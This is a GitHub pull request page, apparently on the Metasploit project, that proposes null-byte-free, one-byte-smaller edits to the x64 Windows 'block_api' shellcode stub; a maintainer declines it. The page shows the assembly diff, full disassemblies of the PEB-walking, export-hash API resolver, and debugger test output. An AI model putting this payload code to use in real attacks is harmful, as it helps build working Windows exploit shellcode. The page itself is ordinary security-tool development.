Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Block api 64 nullbytefree #17934

Closed

Conversation

helviojunior
Copy link

Avoid NULLBYTE

Changes

At this PR I've made 2 changes:

  • Changed mov eax, dword [rax+0x88] to avoid NULLBYTE
  • Changed xor with 64 bits registers to 32 bits registers, has the same effect and use 1 byte less

Commit diff

@@ -24,7 +28,7 @@ api_call:
   push rdx                    ; Save the 2nd parameter
   push rcx                    ; Save the 1st parameter
   push rsi                    ; Save RSI
-  xor rdx, rdx                ; Zero rdx
+  xor edx, edx                ; Zero rdx
   mov rdx, [gs:rdx+0x60]      ; Get a pointer to the PEB
   mov rdx, [rdx+0x18]         ; Get PEB->Ldr
   mov rdx, [rdx+0x20]         ; Get the first module from the InMemoryOrder module list
@@ -33,7 +37,7 @@ next_mod:                     ;
   movzx rcx, word [rdx+0x4a]  ; Set rcx to the length we want to check
   xor r9, r9                  ; Clear r9 which will store the hash of the module name
 loop_modname:                 ;
-  xor rax, rax                ; Clear rax
+  xor eax, eax                ; Clear rax
   lodsb                       ; Read in the next byte of the name
   cmp al, 'a'                 ; Some versions of Windows use lower case module names
   jl not_lowercase            ;
@@ -54,7 +58,9 @@ not_lowercase:                ;
   ; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
   ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
   jne get_next_mod1           ; if not, proceed to the next module
-  mov eax, dword [rax+0x88]   ; Get export tables RVA
+  xor esi, esi                ; clear rsi
+  mov sil, 0x88               ; Set rsi as 0x88 using only 1 byte register (sil)
+  mov eax, dword [rax+rsi]    ; Get export tables RVA => use rsi to calculate 0x88 to avoid NULLBYTE
   test rax, rax               ; Test if no export address table is present
   jz get_next_mod1            ; If no EAT present, process the next module
   add rax, rdx                ; Add the modules base address
@@ -71,7 +77,7 @@ get_next_func:                ;
   xor r9, r9                  ; Clear r9 which will store the hash of the function name
   ; And compare it to the one we want
 loop_funcname:                ;
-  xor rax, rax                ; Clear rax
+  xor eax, eax                ; Clear rax
   lodsb                       ; Read in the next byte of the ASCII function name
   ror r9d, 0xd                ; Rotate right our hash value
   add r9d, eax                ; Add the next byte of the name

Original

$ nasm block_api.asm -o /tmp/original.o
$ wc -c /tmp/original.o
     200 /tmp/original.o

Modified

$ nasm block_api.asm -o /tmp/modified.o
$ wc -c /tmp/modified.o
     199 /tmp/modified.o

Disassembly

Original Disassembly

$ objdump -D -Mintel,x86-64 -b binary -m i386 /tmp/original.o

original.o:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   41 51                   push   r9
   2:   41 50                   push   r8
   4:   52                      push   rdx
   5:   51                      push   rcx
   6:   56                      push   rsi
   7:   48 31 d2                xor    rdx,rdx
   a:   65 48 8b 52 60          mov    rdx,QWORD PTR gs:[rdx+0x60]
   f:   48 8b 52 18             mov    rdx,QWORD PTR [rdx+0x18]
  13:   48 8b 52 20             mov    rdx,QWORD PTR [rdx+0x20]
  17:   48 8b 72 50             mov    rsi,QWORD PTR [rdx+0x50]
  1b:   48 0f b7 4a 4a          movzx  rcx,WORD PTR [rdx+0x4a]
  20:   4d 31 c9                xor    r9,r9
  23:   48 31 c0                xor    rax,rax
  26:   ac                      lods   al,BYTE PTR ds:[rsi]
  27:   3c 61                   cmp    al,0x61
  29:   7c 02                   jl     0x2d
  2b:   2c 20                   sub    al,0x20
  2d:   41 c1 c9 0d             ror    r9d,0xd
  31:   41 01 c1                add    r9d,eax
  34:   e2 ed                   loop   0x23
  36:   52                      push   rdx
  37:   41 51                   push   r9
  39:   48 8b 52 20             mov    rdx,QWORD PTR [rdx+0x20]
  3d:   8b 42 3c                mov    eax,DWORD PTR [rdx+0x3c]
  40:   48 01 d0                add    rax,rdx
  43:   66 81 78 18 0b 02       cmp    WORD PTR [rax+0x18],0x20b
  49:   75 72                   jne    0xbd
  4b:   8b 80 88 00 00 00       mov    eax,DWORD PTR [rax+0x88]
  51:   48 85 c0                test   rax,rax
  54:   74 67                   je     0xbd
  56:   48 01 d0                add    rax,rdx
  59:   50                      push   rax
  5a:   8b 48 18                mov    ecx,DWORD PTR [rax+0x18]
  5d:   44 8b 40 20             mov    r8d,DWORD PTR [rax+0x20]
  61:   49 01 d0                add    r8,rdx
  64:   e3 56                   jrcxz  0xbc
  66:   48 ff c9                dec    rcx
  69:   41 8b 34 88             mov    esi,DWORD PTR [r8+rcx*4]
  6d:   48 01 d6                add    rsi,rdx
  70:   4d 31 c9                xor    r9,r9
  73:   48 31 c0                xor    rax,rax
  76:   ac                      lods   al,BYTE PTR ds:[rsi]
  77:   41 c1 c9 0d             ror    r9d,0xd
  7b:   41 01 c1                add    r9d,eax
  7e:   38 e0                   cmp    al,ah
  80:   75 f1                   jne    0x73
  82:   4c 03 4c 24 08          add    r9,QWORD PTR [rsp+0x8]
  87:   45 39 d1                cmp    r9d,r10d
  8a:   75 d8                   jne    0x64
  8c:   58                      pop    rax
  8d:   44 8b 40 24             mov    r8d,DWORD PTR [rax+0x24]
  91:   49 01 d0                add    r8,rdx
  94:   66 41 8b 0c 48          mov    cx,WORD PTR [r8+rcx*2]
  99:   44 8b 40 1c             mov    r8d,DWORD PTR [rax+0x1c]
  9d:   49 01 d0                add    r8,rdx
  a0:   41 8b 04 88             mov    eax,DWORD PTR [r8+rcx*4]
  a4:   48 01 d0                add    rax,rdx
  a7:   41 58                   pop    r8
  a9:   41 58                   pop    r8
  ab:   5e                      pop    rsi
  ac:   59                      pop    rcx
  ad:   5a                      pop    rdx
  ae:   41 58                   pop    r8
  b0:   41 59                   pop    r9
  b2:   41 5a                   pop    r10
  b4:   48 83 ec 20             sub    rsp,0x20
  b8:   41 52                   push   r10
  ba:   ff e0                   jmp    rax
  bc:   58                      pop    rax
  bd:   41 59                   pop    r9
  bf:   5a                      pop    rdx
  c0:   48 8b 12                mov    rdx,QWORD PTR [rdx]
  c3:   e9 4f ff ff ff          jmp    0x17

Modified Disassembly

$ objdump -D -Mintel,x86-64 -b binary -m i386 /tmp/modified.o

modified.o:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   41 51                   push   r9
   2:   41 50                   push   r8
   4:   52                      push   rdx
   5:   51                      push   rcx
   6:   56                      push   rsi
   7:   31 d2                   xor    edx,edx
   9:   65 48 8b 52 60          mov    rdx,QWORD PTR gs:[rdx+0x60]
   e:   48 8b 52 18             mov    rdx,QWORD PTR [rdx+0x18]
  12:   48 8b 52 20             mov    rdx,QWORD PTR [rdx+0x20]
  16:   48 8b 72 50             mov    rsi,QWORD PTR [rdx+0x50]
  1a:   48 0f b7 4a 4a          movzx  rcx,WORD PTR [rdx+0x4a]
  1f:   4d 31 c9                xor    r9,r9
  22:   31 c0                   xor    eax,eax
  24:   ac                      lods   al,BYTE PTR ds:[rsi]
  25:   3c 61                   cmp    al,0x61
  27:   7c 02                   jl     0x2b
  29:   2c 20                   sub    al,0x20
  2b:   41 c1 c9 0d             ror    r9d,0xd
  2f:   41 01 c1                add    r9d,eax
  32:   e2 ee                   loop   0x22
  34:   52                      push   rdx
  35:   41 51                   push   r9
  37:   48 8b 52 20             mov    rdx,QWORD PTR [rdx+0x20]
  3b:   8b 42 3c                mov    eax,DWORD PTR [rdx+0x3c]
  3e:   48 01 d0                add    rax,rdx
  41:   66 81 78 18 0b 02       cmp    WORD PTR [rax+0x18],0x20b
  47:   75 73                   jne    0xbc
  49:   31 f6                   xor    esi,esi
  4b:   40 b6 88                mov    sil,0x88
  4e:   8b 04 30                mov    eax,DWORD PTR [rax+rsi*1]
  51:   48 85 c0                test   rax,rax
  54:   74 66                   je     0xbc
  56:   48 01 d0                add    rax,rdx
  59:   50                      push   rax
  5a:   8b 48 18                mov    ecx,DWORD PTR [rax+0x18]
  5d:   44 8b 40 20             mov    r8d,DWORD PTR [rax+0x20]
  61:   49 01 d0                add    r8,rdx
  64:   e3 55                   jrcxz  0xbb
  66:   48 ff c9                dec    rcx
  69:   41 8b 34 88             mov    esi,DWORD PTR [r8+rcx*4]
  6d:   48 01 d6                add    rsi,rdx
  70:   4d 31 c9                xor    r9,r9
  73:   31 c0                   xor    eax,eax
  75:   ac                      lods   al,BYTE PTR ds:[rsi]
  76:   41 c1 c9 0d             ror    r9d,0xd
  7a:   41 01 c1                add    r9d,eax
  7d:   38 e0                   cmp    al,ah
  7f:   75 f2                   jne    0x73
  81:   4c 03 4c 24 08          add    r9,QWORD PTR [rsp+0x8]
  86:   45 39 d1                cmp    r9d,r10d
  89:   75 d9                   jne    0x64
  8b:   58                      pop    rax
  8c:   44 8b 40 24             mov    r8d,DWORD PTR [rax+0x24]
  90:   49 01 d0                add    r8,rdx
  93:   66 41 8b 0c 48          mov    cx,WORD PTR [r8+rcx*2]
  98:   44 8b 40 1c             mov    r8d,DWORD PTR [rax+0x1c]
  9c:   49 01 d0                add    r8,rdx
  9f:   41 8b 04 88             mov    eax,DWORD PTR [r8+rcx*4]
  a3:   48 01 d0                add    rax,rdx
  a6:   41 58                   pop    r8
  a8:   41 58                   pop    r8
  aa:   5e                      pop    rsi
  ab:   59                      pop    rcx
  ac:   5a                      pop    rdx
  ad:   41 58                   pop    r8
  af:   41 59                   pop    r9
  b1:   41 5a                   pop    r10
  b3:   48 83 ec 20             sub    rsp,0x20
  b7:   41 52                   push   r10
  b9:   ff e0                   jmp    rax
  bb:   58                      pop    rax
  bc:   41 59                   pop    r9
  be:   5a                      pop    rdx
  bf:   48 8b 12                mov    rdx,QWORD PTR [rdx]
  c2:   e9 4f ff ff ff          jmp    0x16

XOR modification test

[BITS 64]

global _start

section .text

_start:
    mov rax, 4d3476337231636bh
    xor rax, rax
    nop
    mov rax, 4d3476337231636bh
    xor eax, eax
    nop

Debug test

0:000> u rip
st_teste_x86_64+0x1918:
00007ff6`2d8a1918 cc              int     3
00007ff6`2d8a1919 90              nop
00007ff6`2d8a191a 48b86b6331723376344d mov rax,4D3476337231636Bh
00007ff6`2d8a1924 4831c0          xor     rax,rax
00007ff6`2d8a1927 90              nop
00007ff6`2d8a1928 48b86b6331723376344d mov rax,4D3476337231636Bh
00007ff6`2d8a1932 31c0            xor     eax,eax
00007ff6`2d8a1934 90              nop
0:000> r
rax=00007ff62d8a1962 rbx=0000025c658815e8 rcx=00007ff62d8a1962
rdx=00007ff62d8ae0a0 rsi=0000000000000030 rdi=0000025c65881570
rip=00007ff62d8a1918 rsp=000000c8631ffce0 rbp=000000c8631ffce0
 r8=000000c8631ffbf8  r9=0000000000000040 r10=0000000000000000
r11=0000000000000246 r12=0000000000000008 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
st_teste_x86_64+0x1918:
00007ff6`2d8a1918 cc              int     3
0:000> p
st_teste_x86_64+0x1919:
00007ff6`2d8a1919 90              nop
0:000> 
st_teste_x86_64+0x191a:
00007ff6`2d8a191a 48b86b6331723376344d mov rax,4D3476337231636Bh
0:000> 
st_teste_x86_64+0x1924:
00007ff6`2d8a1924 4831c0          xor     rax,rax
0:000> r rax
rax=4d3476337231636b
0:000> p
st_teste_x86_64+0x1927:
00007ff6`2d8a1927 90              nop
0:000> r rax
rax=0000000000000000
0:000> p
st_teste_x86_64+0x1928:
00007ff6`2d8a1928 48b86b6331723376344d mov rax,4D3476337231636Bh
0:000> 
st_teste_x86_64+0x1932:
00007ff6`2d8a1932 31c0            xor     eax,eax
0:000> r rax
rax=4d3476337231636b
0:000> p
st_teste_x86_64+0x1934:
00007ff6`2d8a1934 90              nop
0:000> r rax
rax=0000000000000000

@cdelafuente-r7
Copy link
Contributor

Thanks @helviojunior for investigating this and submitting this solution. Assuring no null bytes are present and reducing the size of a payload are always interesting. However, these changes to the block API assembly files won't actually be used by Metasploit as it is now. These source files don't change anything. To have it effectively applied, someone would have to update the GraphML XMLs to pull these changes in. Also, since this would affect many Metasploit payloads, this would require tons of testing against every version of Windows. We discussed this internally and decided it is not worth the effort for such a small gain right now.

For these reasons, we are not going to accept this PR. That said, these changes are still valid and we can still include them later if the GraphML XMLs are updated in the future.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

4 participants